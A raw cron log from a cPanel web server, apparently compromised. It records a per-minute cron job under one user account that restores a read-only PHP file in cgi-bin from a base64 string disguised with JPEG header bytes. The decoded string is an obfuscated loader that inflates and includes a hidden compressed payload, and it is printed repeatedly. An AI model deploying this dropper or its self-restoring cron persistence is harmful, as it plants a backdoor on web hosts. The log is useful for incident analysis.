A7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:05:01 server CROND[979]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:06:01 server CROND[1918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:06:01 server CROND[1920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:06:01 server CROND[1921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:07:01 server CROND[2325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:07:01 server CROND[2326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:07:01 server CROND[2327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:08:01 server CROND[2721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:08:01 server CROND[2722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:08:01 server CROND[2723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:09:01 server CROND[3099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:09:01 server CROND[3101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:09:01 server CROND[3102]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 20:09:01 server CROND[3100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:10:01 server CROND[3575]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 20:10:01 server CROND[3586]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:10:01 server CROND[3587]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 20:10:01 server CROND[3588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:10:01 server CROND[3591]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:10:01 server CROND[3590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:10:01 server CROND[3592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:10:01 server CROND[3589]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 20:11:01 server CROND[4403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:11:01 server CROND[4404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:11:01 server CROND[4405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:12:01 server CROND[4794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:12:01 server CROND[4795]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 20:12:01 server CROND[4796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:12:01 server CROND[4797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:13:01 server CROND[5160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:13:01 server CROND[5161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:13:01 server CROND[5164]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:14:01 server CROND[5526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:14:01 server CROND[5527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:14:01 server CROND[5528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:15:01 server CROND[6005]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:15:01 server CROND[6007]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 20:15:01 server CROND[6010]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 20:15:01 server CROND[6011]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:15:01 server CROND[6013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:15:01 server CROND[6014]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 20:15:01 server CROND[6009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:15:01 server CROND[6015]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 20:15:01 server CROND[6012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:16:01 server CROND[7099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:16:01 server CROND[7098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 20:16:01 server CROND[7100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:17:01 server CROND[7471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:17:01 server CROND[7472]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
